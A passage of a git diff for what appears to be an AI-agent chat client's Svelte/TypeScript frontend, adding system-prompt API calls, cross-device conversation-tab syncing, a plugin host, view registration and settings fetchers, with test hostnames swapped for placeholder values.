+ async loadSystemPrompt(): Promise<SystemPromptLoadResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/system-prompt`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Load system prompt failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as SystemPromptTemplateResponse;
+ return { ok: true, template: data.template ?? "" };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Load system prompt request failed",
+ };
+ }
+ },
+
+ async setSystemPrompt(template: string): Promise<SystemPromptSaveResult> {
+ try {
+ const body: SetSystemPromptTemplateRequest = { template };
+ const res = await fetchImpl(`${httpBase}/system-prompt`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set system prompt failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as SystemPromptTemplateResponse;
+ return { ok: true, template: data.template };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set system prompt request failed",
+ };
+ }
+ },
+
+ async loadSystemPromptVariables(): Promise<SystemPromptVariablesResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/system-prompt/variables`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Load system prompt variables failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as Partial<SystemPromptVariablesResponse>;
+ return { ok: true, variables: Array.isArray(data.variables) ? data.variables : [] };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Load system prompt variables request failed",
+ };
+ }
+ },
+ };
+}
diff --git a/src/app/open-conversations.svelte.ts b/src/app/open-conversations.svelte.ts
new file mode 100644
index 0000000..9c8c25b
--- /dev/null
+++ b/src/app/open-conversations.svelte.ts
@@ -0,0 +1,288 @@
+import type {
+ ConversationListResponse,
+ SetTabGroupRequest,
+ SetTitleRequest,
+ TabGroupResponse,
+} from "@dispatch/transport-contract";
+import type { ConversationStatus } from "@dispatch/wire";
+import type { ConversationCache } from "../features/conversation-cache";
+import type { TabsStore } from "../features/tabs";
+
+import type { ChatRegistry } from "./chat-registry.svelte";
+import type { createConversationSettings } from "./conversation-settings.svelte";
+
+/** Cross-device tab discovery/reconciliation and backend lifecycle status. */
+export function createOpenConversations(deps: {
+ httpBase: string;
+ fetchImpl: typeof fetch;
+ tabsStore: TabsStore;
+ registry: ChatRegistry;
+ cache: ConversationCache;
+ activeModel: () => string;
+ settings: ReturnType<typeof createConversationSettings>;
+ syncSubscriptions: () => void;
+ reportError: (context: string, err: unknown) => void;
+}) {
+ const { httpBase, fetchImpl, tabsStore, registry, cache } = deps;
+ /**
+ * Tell the backend the user EXPLICITLY closed this conversation's tab
+ * (`POST /conversations/:id/close`): aborts any in-flight turn (it seals with
+ * `reason: "aborted"`) and stops + DISABLES its cache-warming (persisted OFF).
+ * Distinct from a disconnect / `chat.unsubscribe`, which deliberately leave
+ * both running. Fire-and-forget: a failure is non-fatal (worst case the
+ * warming keeps running until a later close/toggle), and the endpoint is
+ * idempotent server-side.
+ */
+ function closeConversation(conversationId: string): void {
+ void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/close`, {
+ method: "POST",
+ }).catch((err) => {
+ deps.reportError("Failed to close conversation", err);
+ });
+ }
+
+ /**
+ * Open a conversation tab — used by the `conversation.open` WS broadcast
+ * (CLI `--open` flag) and by `conversation.statusChanged` when a new active
+ * conversation is discovered. If the conversation is already open, this is a
+ * no-op; otherwise create a chat store, subscribe to its live
+ * turns, and add the tab WITHOUT switching the active conversation (the user
+ * stays on their current tab; the new tab appears in the strip). The tab is
+ * stamped with the conversation's actual `workspaceId`, NOT the viewer's
+ * currently active workspace.
+ */
+ function openConversation(
+ conversationId: string,
+ workspaceId: string,
+ model?: string,
+ tabGroupParentId?: string,
+ ): void {
+ if (registry.chatStores.has(conversationId)) return;
+ // Stamp the tab with the conversation's PERSISTED model when the open
+ // broadcast carries it (falling back to the current global selection) —
+ // never let the globally-active model overwrite a conversation's real one
+ // (fix-toolcall-duplicate-keys plan Part 4).
+ const tabModel = model ?? deps.activeModel();
+ const store =
+ registry.watchStores.get(conversationId) ??
+ registry.createChatFor(conversationId, tabModel, workspaceId);
+ registry.watchStores.delete(conversationId);
+ store.setModel(tabModel);
+ registry.chatStores.set(conversationId, store);
+ registry.subscribeChat(conversationId);
+ tabsStore.openTab({
+ conversationId,
+ model: tabModel,
+ title: "Conversation",
+ workspaceId,
+ ...(tabGroupParentId !== undefined ? { tabGroupParentId } : {}),
+ });
+ }
+
+ /**
+ * Remove a tab + its chat store locally (NO `POST /close` — used when the
+ * backend already marked the conversation `closed` via `conversation.statusChanged`).
+ */
+ function removeTabLocally(conversationId: string): void {
+ registry.unsubscribeChat(conversationId);
+ const store = registry.chatStores.get(conversationId);
+ if (store !== undefined) {
+ store.dispose();
+ registry.chatStores.delete(conversationId);
+ }
+ registry.loadedConversationIds.delete(conversationId);
+ void cache.delete(conversationId);
+ tabsStore.closeTab(conversationId);
+ conversationStatuses.delete(conversationId);
+ registry.refreshActiveChat();
+ deps.syncSubscriptions();
+ void deps.settings.refreshCwd();
+ void deps.settings.refreshComputer();
+ void deps.settings.refreshReasoningEffort();
+ void deps.settings.refreshThinking();
+ void deps.settings.refreshCompactPercent();
+ }
+
+ // Conversation lifecycle status (backend-owned, pushed via WS +
+ // fetched on connect). Keyed by conversationId.
+ let conversationStatuses = $state<Map<string, ConversationStatus>>(new Map());
+
+ // The set of workspaces with ≥1 active/queued conversation, derived ONCE
+ // (not recomputed per card). Every active/queued conversation has an open
+ // tab stamped with its workspace, so the tabs are the conversation→workspace
+ // map; cross-reference with the lifecycle statuses. `$derived` recomputes
+ // lazily when the tab set or status map changes, so each
+ // `workspaceHasActiveConversations` call is an O(1) lookup instead of a scan
+ // of the full tab list per card.
+ const activeWorkspaces = $derived.by(() => {
+ const out = new Set<string>();
+ for (const tab of tabsStore.tabs) {
+ const status = conversationStatuses.get(tab.conversationId);
+ if (status === "active" || status === "queued") out.add(tab.workspaceId);
+ }
+ return out;
+ });
+
+ /**
+ * Fetch `GET /conversations?status=active,idle` on connect to restore the
+ * tab bar across devices. Merges: opens tabs for conversations not already
+ * open, removes tabs for conversations that are no longer active/idle
+ * (closed on another device), and subscribes to `active` conversations'
+ * live streams.
+ */
+ let pendingFetch: Promise<void> | undefined;
+ function fetchOpenConversations(): Promise<void> {
+ pendingFetch ??= loadOpenConversations().finally(() => {
+ pendingFetch = undefined;
+ });
+ return pendingFetch;
+ }
+
+ async function loadOpenConversations(): Promise<void> {
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations?status=active,idle`);
+ if (!res.ok) return;
+ const data = (await res.json()) as ConversationListResponse;
+
+ if (!data || !Array.isArray(data.conversations)) {
+ deps.reportError(
+ "Failed to load open conversations",
+ new Error("Invalid conversations response"),
+ );
+ return;
+ }
+ // Update the status map from the authoritative backend list.
+ const newStatuses = new Map<string, ConversationStatus>();
+ for (const conv of data.conversations) {
+ newStatuses.set(conv.id, conv.status);
+ }
+ conversationStatuses = newStatuses;
+
+ // Open tabs for conversations not already open.
+ const existingIds = new Set(registry.chatStores.keys());
+ for (const conv of data.conversations) {
+ if (!existingIds.has(conv.id)) {
+ // Stamp the tab with the conversation's PERSISTED model (when the
+ // list carries it) instead of the global active model — the fix for
+ // tabs showing/overwriting the wrong model
+ // (fix-toolcall-duplicate-keys plan Part 4).
+ const model = conv.model ?? deps.activeModel();
+ const store =
+ registry.watchStores.get(conv.id) ??
+ registry.createChatFor(conv.id, model, conv.workspaceId);
+ registry.watchStores.delete(conv.id);
+ store.setModel(model);
+ registry.chatStores.set(conv.id, store);
+ // Seed the cache timer's turn gap (only an idle conversation is waiting on the user).
+ if (conv.status === "idle") store.noteLastActivity(conv.lastActivityAt);
+ registry.subscribeChat(conv.id);
+ tabsStore.openTab({
+ conversationId: conv.id,
+ model,
+ title: conv.title,
+ workspaceId: conv.workspaceId,
+ ...(conv.tabGroupParentId !== undefined
+ ? { tabGroupParentId: conv.tabGroupParentId }
+ : {}),
+ });
+ } else {
+ // Already open — reconcile title + workspace from the authoritative
+ // backend list. A raced `conversation.open` (summon) may have stamped
+ // the tab with the wrong workspace ("default"); the backend's
+ // authoritative conversation record is the source of truth, so a
+ // differing tab workspace is corrected here.
+ tabsStore.setTitle(conv.id, conv.title);
+ // Seed the cache timer's turn gap from the backend (a tab restored
+ // from localStorage at boot has no live `done` to go by). Only an
+ // idle conversation is waiting on the user.
+ if (conv.status === "idle")
+ registry.chatStores.get(conv.id)?.noteLastActivity(conv.lastActivityAt);
+ const tab = tabsStore.tabs.find((t) => t.conversationId === conv.id);
+ if (tab?.workspaceId !== conv.workspaceId) {
+ tabsStore.setWorkspaceId(conv.id, conv.workspaceId);
+ }
+ // The backend's EFFECTIVE tab group parent is authoritative too.
+ if (tab?.tabGroupParentId !== conv.tabGroupParentId) {
+ tabsStore.setTabGroupParent(conv.id, conv.tabGroupParentId ?? null);
+ }
+ }
+ }
+
+ // Remove tabs for conversations no longer active/idle (closed elsewhere).
+ const backendIds = new Set(data.conversations.map((c) => c.id));
+ for (const tab of tabsStore.tabs) {
+ if (
+ !backendIds.has(tab.conversationId) &&
+ !registry.chatStores.get(tab.conversationId)?.pendingInputs.length
+ ) {
+ removeTabLocally(tab.conversationId);
+ }
+ }
+ registry.refreshActiveChat();
+ } catch (err) {
+ deps.reportError(
+ `Failed to load conversations from the backend.\n\nURL: ${httpBase}/conversations?status=active,idle`,
+ err,
+ );
+ }
+ }
+
+ return {
+ closeConversation,
+ openConversation,
+ removeTabLocally,
+ fetchOpenConversations,
+ renameTab(conversationId: string, title: string): void {
+ tabsStore.setTitle(conversationId, title);
+ void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/title`, {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ title } satisfies SetTitleRequest),
+ }).catch((err) => {
+ deps.reportError("Failed to rename conversation", err);
+ });
+ },
+
+ setTabGroup(conversationId: string, parentId: string | null): void {
+ const previous =
+ tabsStore.tabs.find((t) => t.conversationId === conversationId)?.tabGroupParentId ?? null;
+ tabsStore.setTabGroupParent(conversationId, parentId);
+ void (async () => {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(conversationId)}/tab-group`,
+ {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ parentId } satisfies SetTabGroupRequest),
+ },
+ );
+ if (!res.ok) {
+ const err = (await res.json().catch(() => null)) as { error?: string } | null;
+ throw new Error(err?.error ?? `HTTP ${res.status}`);
+ }
+ const body = (await res.json()) as TabGroupResponse;
+ tabsStore.setTabGroupParent(conversationId, body.tabGroupParentId);
+ } catch (err) {
+ // Revert the optimistic move, then surface the failure.
+ tabsStore.setTabGroupParent(conversationId, previous);
+ deps.reportError("Failed to update the tab's subagent group", err);
+ }
+ })();
+ },
+
+ get conversationStatuses() {
+ return conversationStatuses;
+ },
+ set conversationStatuses(value: Map<string, ConversationStatus>) {
+ conversationStatuses = value;
+ },
+ conversationStatus(conversationId: string): ConversationStatus | undefined {
+ return conversationStatuses.get(conversationId);
+ },
+ workspaceHasActiveConversations(workspaceId: string): boolean {
+ return activeWorkspaces.has(workspaceId);
+ },
+ };
+}
+export type OpenConversations = ReturnType<typeof createOpenConversations>;
diff --git a/src/app/plugin-host.svelte.ts b/src/app/plugin-host.svelte.ts
new file mode 100644
index 0000000..8054005
--- /dev/null
+++ b/src/app/plugin-host.svelte.ts
@@ -0,0 +1,151 @@
+/**
+ * The frontend-plugin HOST wiring (plan 03 §3.2) — the composition-root glue
+ * between the ABI driver (`core/plugin-abi`), the view registry, the
+ * surfaces ports, and the plugins HTTP edge.
+ *
+ * The sync triggers (boot, `extensions-changed`, `workspace.set` → the app
+ * store calls `sync()` on exactly those events) each fetch the plugin list +
+ * the ACTIVE workspace's enablement rows, derive the desired candidate set
+ * (pure), and run one driver pass. The driver's effects are injected HERE at
+ * the edge:
+ * - `importModule` — the dynamic `import()` (the only module-system touch);
+ * - `buildHostApi` — the per-plugin `FrontendHostAPI` with FORCED pluginId
+ * attribution into the layout registry, app-store-backed surfaces ports,
+ * and a plugin-prefixed logger;
+ * - `unregisterViewsByPlugin` — the registry's unload sweep.
+ *
+ * After every pass the per-plugin FE states are reported to the plugins
+ * store (the manager UI renders "incompatible frontend plugin" and
+ * activation failures).
+ */
+import {
+ createFrontendDriver,
+ FRONTEND_ABI_VERSION,
+ type FrontendDriver,
+ type FrontendHostAPI,
+ type FrontendPluginState,
+ frontendCandidates,
+ usablePluginIds,
+} from "../core/plugin-abi";
+import {
+ type LayoutAbiPort,
+ registerPluginView,
+ unregisterViewsByPlugin,
+ type ViewComponent,
+} from "../features/layout";
+import type { PluginsHttp } from "../features/plugins";
+
+/** The surfaces ports the ABI hands plugin views — backed by the app store. */
+export interface FrontendSurfacesPorts {
+ readonly subscribe: (surfaceId: string, conversationId?: string) => void;
+ readonly unsubscribe: (surfaceId: string, conversationId?: string) => void;
+ readonly invoke: (
+ surfaceId: string,
+ actionId: string,
+ payload?: unknown,
+ conversationId?: string,
+ ) => void;
+ readonly getSpec: (surfaceId: string) => unknown;
+}
+
+/** The shape of the plugins store the FE states are reported to. */
+export interface FrontendStateReporter {
+ setFrontendStates(states: ReadonlyMap<string, FrontendPluginState>): void;
+}
+
+export interface PluginHostOptions {
+ readonly http: PluginsHttp;
+ /** The backend HTTP base (import-URL origin). */
+ readonly httpBase: string;
+ readonly reporter: FrontendStateReporter;
+ /** The ACTIVE workspace provider (read per sync — workspace.set trigger). */
+ readonly activeWorkspaceId: () => string;
+ readonly surfaces: FrontendSurfacesPorts;
+ /**
+ * The layout port (plan 04 §4.5) — the ABI's `api.layout` (applyOps to the
+ * ACTIVE workspace's provider + getTree, null in no-provider mode). Built
+ * by the composition root over the layout store + ops HTTP edge.
+ */
+ readonly layout: LayoutAbiPort;
+}
+
+export interface PluginHost {
+ /**
+ * Run one sync pass (all three triggers share it — the active workspace
+ * is read per call, which is what makes `workspace.set` a distinct
+ * trigger). Never throws: a failed list fetch keeps the current set.
+ */
+ sync(): Promise<void>;
+}
+
+export function createPluginHost(opts: PluginHostOptions): PluginHost {
+ const driver: FrontendDriver = createFrontendDriver({
+ importModule: (url) => import(/* @vite-ignore */ url),
+ buildHostApi: (pluginId) => buildHostApi(pluginId),
+ unregisterViewsByPlugin,
+ logger: console,
+ });
+
+ function buildHostApi(pluginId: string): FrontendHostAPI {
+ return {
+ abiVersion: FRONTEND_ABI_VERSION,
+ registerView: (reg) =>
+ registerPluginView(
+ {
+ id: reg.id,
+ label: reg.label,
+ // ONE controlled cast at the ABI seam — the registry is a
+ // heterogeneous component bag (register-views.ts precedent);
+ // the plugin's own build already vetted its component.
+ component: reg.component as ViewComponent,
+ ...(reg.panelEligible !== undefined ? { panelEligible: reg.panelEligible } : {}),
+ },
+ pluginId,
+ ),
+ surfaces: {
+ subscribe: (surfaceId, conversationId) =>
+ opts.surfaces.subscribe(surfaceId, conversationId),
+ unsubscribe: (surfaceId, conversationId) =>
+ opts.surfaces.unsubscribe(surfaceId, conversationId),
+ invoke: (surfaceId, actionId, payload, conversationId) =>
+ opts.surfaces.invoke(surfaceId, actionId, payload, conversationId),
+ getSpec: (surfaceId) => opts.surfaces.getSpec(surfaceId) as never,
+ },
+ logger: {
+ info: (msg) => console.info(`[frontend-plugin:${pluginId}] ${msg}`),
+ warn: (msg) => console.warn(`[frontend-plugin:${pluginId}] ${msg}`),
+ },
+ // plan 04 §4.5: the layout port — the composition-root-built adapter
+ // over the layout store + the ops HTTP edge (the plugin never sees
+ // either; only this typed port).
+ layout: opts.layout,
+ };
+ }
+
+ return {
+ async sync(): Promise<void> {
+ // Both reads are fail-soft (null on network failure) — a down backend
+ // keeps the CURRENT imported set untouched (no unload on a flaky
+ // fetch, and the manager UI's last-known states persist).
+ const workspaceId = opts.activeWorkspaceId();
+ const [list, workspace] = await Promise.all([
+ opts.http.list(),
+ opts.http.workspacePlugins(workspaceId),
+ ]);
+ if (list === null) return;
+ // Shape guard at the outermost edge (asymmetric testing: the shell
+ // guards, the pure diff stays trusting): a malformed-but-200
+ // `/plugins` response (wrong shape, contract drift, a test fake that
+ // doesn't model the route) must fail SOFT exactly like `null` — keep
+ // the current imported set, never throw from the fire-and-forget sync.
+ if (!Array.isArray(list.loaded)) return;
+ const candidates = frontendCandidates(list, {
+ workspaceId,
+ usableIds: usablePluginIds(workspace?.plugins ?? []),
+ httpBase: opts.httpBase,
+ });
+ await driver.sync(candidates);
+ opts.reporter.setFrontendStates(driver.states());
+ },
+ };
+}
diff --git a/src/app/register-views.ts b/src/app/register-views.ts
new file mode 100644
index 0000000..05afd89
--- /dev/null
+++ b/src/app/register-views.ts
@@ -0,0 +1,81 @@
+/**
+ * Built-in view registration — the composition root's view vocabulary.
+ *
+ * One thin wrapper component per existing view (src/app/views/*.svelte), each
+ * closing over exactly the props/ports App.svelte's `viewContent` snippet used
+ * to pass — INCLUDING each view's `{#key}` remount semantics (moved INSIDE the
+ * wrappers). Registry ids match the old `viewKinds` ids exactly: no
+ * user-facing renaming, no persistence-key changes.
+ *
+ * `chat` / `composer` / `message-queue` are CONTENT views (decision 5): they
+ * register with `panelEligible: false` so they never appear in the panel
+ * dropdowns. All 15 sidebar views keep the eligible default.
+ *
+ * Imported ONCE by App.svelte's module script — before any tile renders.
+ */
+
+import type { Component } from "svelte";
+import { registerView, type ViewComponent, type ViewRegistration } from "../features/layout";
+import type { AppViewPorts } from "./view-ports";
+import AccountUsagePane from "./views/AccountUsagePane.svelte";
+import CacheWarmingPane from "./views/CacheWarmingPane.svelte";
+import ChatPane from "./views/ChatPane.svelte";
+import CompactionPane from "./views/CompactionPane.svelte";
+import ComposerPane from "./views/ComposerPane.svelte";
+import ConcurrencyPane from "./views/ConcurrencyPane.svelte";
+import ExtensionsPane from "./views/ExtensionsPane.svelte";
+import HeartbeatPane from "./views/HeartbeatPane.svelte";
+import LspPane from "./views/LspPane.svelte";
+import McpPane from "./views/McpPane.svelte";
+import MessageQueuePane from "./views/MessageQueuePane.svelte";
+import ModelPane from "./views/ModelPane.svelte";
+import NamedAgentsPane from "./views/NamedAgentsPane.svelte";
+import SettingsPane from "./views/SettingsPane.svelte";
+import SystemPromptPane from "./views/SystemPromptPane.svelte";
+import TabsPane from "./views/TabsPane.svelte";
+import TasksPane from "./views/TasksPane.svelte";
+import VisionPane from "./views/VisionPane.svelte";
+
+/**
+ * Every wrapper takes `{ ports: AppViewPorts }` and TileLeaf supplies it — but
+ * the registry is a HETEROGENEOUS bag of components (generic `Component`), so
+ * the composition root bridges each wrapper's concrete props type to the
+ * registry's opaque one. ONE controlled cast at this seam (the renderer always
+ * passes the port bag; the wrappers re-narrow it) instead of `any` in the
+ * contract.
+ */
+type WrapperComponent = Component<{ ports: AppViewPorts }>;
+function asView(component: WrapperComponent): ViewComponent {
+ return component as unknown as ViewComponent;
+}
+
+export function registerBuiltinViews(): void {
+ const views: readonly ViewRegistration[] = [
+ // --- sidebar views (panel-eligible by default — the 14 old viewKinds + account-usage)
+ { id: "tabs", label: "Tabs", component: asView(TabsPane) },
+ { id: "model", label: "Model", component: asView(ModelPane) },
+ { id: "named-agents", label: "Named Agents", component: asView(NamedAgentsPane) },
+ { id: "lsp", label: "Language Servers", component: asView(LspPane) },
+ { id: "mcp", label: "MCP Servers", component: asView(McpPane) },
+ { id: "extensions", label: "Extensions", component: asView(ExtensionsPane) },
+ { id: "cache-warming", label: "Cache Warming", component: asView(CacheWarmingPane) },
+ { id: "tasks", label: "Tasks", component: asView(TasksPane) },
+ { id: "compaction", label: "Compaction", component: asView(CompactionPane) },
+ { id: "vision", label: "Vision", component: asView(VisionPane) },
+ { id: "heartbeat", label: "Heartbeat", component: asView(HeartbeatPane) },
+ { id: "concurrency", label: "Concurrency", component: asView(ConcurrencyPane) },
+ { id: "account-usage", label: "Usage", component: asView(AccountUsagePane) },
+ { id: "system-prompt", label: "System Prompt", component: asView(SystemPromptPane) },
+ { id: "settings", label: "Settings", component: asView(SettingsPane) },
+ // --- content views (never in the panel dropdowns — decision 5)
+ { id: "chat", label: "Chat", component: asView(ChatPane), panelEligible: false },
+ { id: "composer", label: "Composer", component: asView(ComposerPane), panelEligible: false },
+ {
+ id: "message-queue",
+ label: "Message Queue",
+ component: asView(MessageQueuePane),
+ panelEligible: false,
+ },
+ ];
+ for (const view of views) registerView(view);
+}
diff --git a/src/app/resolve-http-url.test.ts b/src/app/resolve-http-url.test.ts
index 0da2591..c556812 100644
--- a/src/app/resolve-http-url.test.ts
+++ b/src/app/resolve-http-url.test.ts
@@ -19,13 +19,13 @@ describe("resolveHttpUrl", () => {
});
it("derives http://<hostname>:24203 from http location", () => {
- const result = resolveHttpUrl({}, { protocol: "http:", hostname: "100.126.75.103" });
- expect(result).toBe("http://100.126.75.103:24203");
+ const result = resolveHttpUrl({}, { protocol: "http:", hostname: "192.0.2.10" });
+ expect(result).toBe("http://192.0.2.10:24203");
});
it("derives https://<hostname>:24203 from https location", () => {
- const result = resolveHttpUrl({}, { protocol: "https:", hostname: "arch-razer" });
- expect(result).toBe("https://arch-razer:24203");
+ const result = resolveHttpUrl({}, { protocol: "https:", hostname: "dev-node" });
+ expect(result).toBe("https://dev-node:24203");
});
it("uses VITE_HTTP_PORT when set", () => {
diff --git a/src/app/resolve-ws-url.test.ts b/src/app/resolve-ws-url.test.ts
index b5ba6c3..be1ab12 100644
--- a/src/app/resolve-ws-url.test.ts
+++ b/src/app/resolve-ws-url.test.ts
@@ -19,13 +19,13 @@ describe("resolveWsUrl", () => {
});
it("derives ws://<hostname>:24205 from http location", () => {
- const result = resolveWsUrl({}, { protocol: "http:", hostname: "100.126.75.103" });
- expect(result).toBe("ws://100.126.75.103:24205");
+ const result = resolveWsUrl({}, { protocol: "http:", hostname: "192.0.2.10" });
+ expect(result).toBe("ws://192.0.2.10:24205");
});
it("derives wss://<hostname>:24205 from https location", () => {
- const result = resolveWsUrl({}, { protocol: "https:", hostname: "arch-razer" });
- expect(result).toBe("wss://arch-razer:24205");
+ const result = resolveWsUrl({}, { protocol: "https:", hostname: "dev-node" });
+ expect(result).toBe("wss://dev-node:24205");
});
it("uses VITE_WS_PORT when set", () => {
diff --git a/src/app/settings-refreshers.svelte.ts b/src/app/settings-refreshers.svelte.ts
new file mode 100644
index 0000000..fb68895
--- /dev/null
+++ b/src/app/settings-refreshers.svelte.ts
@@ -0,0 +1,257 @@
+import type {
+ ComputerListResponse,
+ ModelMetadata,
+ ModelsResponse,
+} from "@dispatch/transport-contract";
+import type { ComputerEntry } from "@dispatch/wire";
+import type {
+ NamedAgent,
+ NamedAgentDeleteResult,
+ NamedAgentInput,
+ NamedAgentSaveResult,
+ NamedAgentsResult,
+} from "../features/named-agents";
+import { normalizeNamedAgentRecord, normalizeNamedAgents } from "../features/named-agents";
+
+/** Replace-or-append a Named Agent into a list (immutably), keyed by id. */
+function upsertNamedAgentList(
+ agents: readonly NamedAgent[],
+ agent: NamedAgent,
+): readonly NamedAgent[] {
+ const idx = agents.findIndex((a) => a.id === agent.id);
+ if (idx === -1) return [...agents, agent];
+ return agents.map((a) => (a.id === agent.id ? agent : a));
+}
+
+/** Workspace catalogs, global settings discovery and Named Agent records. */
+export function createSettingsRefreshers(deps: {
+ httpBase: string;
+ fetchImpl: typeof fetch;
+ activeWorkspaceId: () => string;
+ reportError: (context: string, err: unknown) => void;
+}) {
+ const { httpBase, fetchImpl } = deps;
+ let models = $state<readonly string[]>([]);
+ let modelInfo = $state<Readonly<Record<string, ModelMetadata>>>({});
+ // Discovered SSH computers (`GET /computers`). Global (like `models`); empty
+ // until the `ssh` extension lands. Read-only — no CRUD (the user edits their
+ // `~/.ssh/config`).
+ let computers = $state<readonly ComputerEntry[]>([]);
+ // The persisted Named Agents (global user config). Seeded from the backend on
+ // boot + kept in sync by the CRUD methods; drives both the sidebar editor and
+ // the synthetic model-selector provider.
+ let namedAgents = $state<readonly NamedAgent[]>([]);
+ /**
+ * Loaded provider-tier plugins effectively enabled in the ACTIVE workspace
+ * (`GET /workspaces/:id/plugins/providers-status`, plan 06 §6.5). `null` =
+ * unknown (not fetched yet / endpoint missing) — the first-boot guardrail
+ * shows only on a confident `0` (§7).
+ */
+ let enabledProviderCount = $state<number | null>(null);
+
+ /** Replace-or-append a Named Agent into the reactive list (immutably). */
+ function upsertNamedAgent(agent: NamedAgent): void {
+ namedAgents = upsertNamedAgentList(namedAgents, agent);
+ }
+
+ /**
+ * Refetch the model catalog for the ACTIVE workspace
+ * (`GET /models?workspaceId=`, plan 06 §6.5 — workspace-aware; a backend
+ * without the param returns the global catalog, which stays correct).
+ * Re-run on boot, on every workspace switch, and on `extensions-changed`
+ * (a provider toggled in another client updates the picker here too).
+ */
+ async function refreshModels(): Promise<void> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/models?workspaceId=${encodeURIComponent(deps.activeWorkspaceId())}`,
+ );
+ if (!res.ok) return;
+ const data = (await res.json()) as ModelsResponse;
+ // Defensive: a malformed/SPA-fallback response must never poison the
+ // picker with a non-array (the old boot chain had the same exposure).
+ if (!Array.isArray(data.models)) return;
+ models = data.models;
+ modelInfo = data.modelInfo ?? {};
+ } catch (err) {
+ deps.reportError("Failed to load model list", err);
+ }
+ }
+
+ /**
+ * Refetch the active workspace's provider status (the §6.5 first-boot
+ * guardrail signal). Guarded against a slow response losing a race with a
+ * workspace switch (only the CURRENT workspace's result lands). Non-JSON
+ * 200 (SPA fallback — endpoint not shipped) leaves it null (no prompt).
+ */
+ async function refreshProviderStatus(): Promise<void> {
+ const workspaceId = deps.activeWorkspaceId();
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/plugins/providers-status`,
+ );
+ if (!res.ok) {
+ if (workspaceId === deps.activeWorkspaceId()) enabledProviderCount = null;
+ return;
+ }
+ const contentType = res.headers.get("content-type") ?? "";
+ if (!contentType.includes("application/json")) return;
+ const data = (await res.json()) as { enabledProviderCount?: number };
+ if (workspaceId === deps.activeWorkspaceId()) {
+ enabledProviderCount =
+ typeof data.enabledProviderCount === "number" ? data.enabledProviderCount : null;
+ }
+ } catch {
+ // Non-fatal: the guardrail just stays hidden (null) when the endpoint
+ // is unreachable.
+ if (workspaceId === deps.activeWorkspaceId()) enabledProviderCount = null;
+ }
+ }
+
+ function loadGlobalCatalogs(): void {
+ // Fetch the discovered-computer catalog (global, like models). Empty until
+ // the `ssh` extension lands — a safe no-op until then (the selector shows
+ // "Local (none)" only). Non-fatal: a failure leaves an empty list.
+ void fetchImpl(`${httpBase}/computers`)
+ .then((res) => {
+ if (!res.ok) return { computers: [] } as ComputerListResponse;
+ return res.json() as Promise<ComputerListResponse>;
+ })
+ .then((data) => {
+ computers = data?.computers ?? [];
+ })
+ .catch((err) => {
+ deps.reportError("Failed to load computer list", err);
+ });
+
+ // Fetch the persisted Named Agents (global user config). Seeded on boot so the
+ // sidebar editor + the synthetic model-selector provider have data immediately.
+ // Non-fatal: a failure leaves an empty list (the user can add agents).
+ void fetchImpl(`${httpBase}/named-agents`)
+ .then((res) => {
+ if (!res.ok) return { namedAgents: [] } as { namedAgents: NamedAgent[] };
+ return res.json() as Promise<{ namedAgents: NamedAgent[] }>;
+ })
+ .then((data) => {
+ namedAgents = normalizeNamedAgents(data);
+ })
+ .catch((err) => {
+ deps.reportError("Failed to load named agents", err);
+ });
+ }
+
+ return {
+ refreshModels,
+ refreshProviderStatus,
+ loadGlobalCatalogs,
+ get models() {
+ return models;
+ },
+ get modelInfo() {
+ return modelInfo;
+ },
+ get computers() {
+ return computers;
+ },
+ get namedAgents() {
+ return namedAgents;
+ },
+ get enabledProviderCount() {
+ return enabledProviderCount;
+ },
+ async refreshNamedAgents(): Promise<NamedAgentsResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/named-agents`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Named agents failed (HTTP ${res.status})`,
+ };
+ }
+ const agents = normalizeNamedAgents(await res.json());
+ namedAgents = agents;
+ return { ok: true, agents };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Named agents request failed",
+ };
+ }
+ },
+
+ async createNamedAgent(input: NamedAgentInput): Promise<NamedAgentSaveResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/named-agents`, {
+ method: "POST",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(input),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Create named agent failed (HTTP ${res.status})`,
+ };
+ }
+ const agent = normalizeNamedAgentRecord(await res.json());
+ if (agent === null) return { ok: false, error: "Malformed named agent response" };
+ upsertNamedAgent(agent);
+ return { ok: true, agent };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Create named agent request failed",
+ };
+ }
+ },
+
+ async updateNamedAgent(id: string, input: NamedAgentInput): Promise<NamedAgentSaveResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/named-agents/${encodeURIComponent(id)}`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
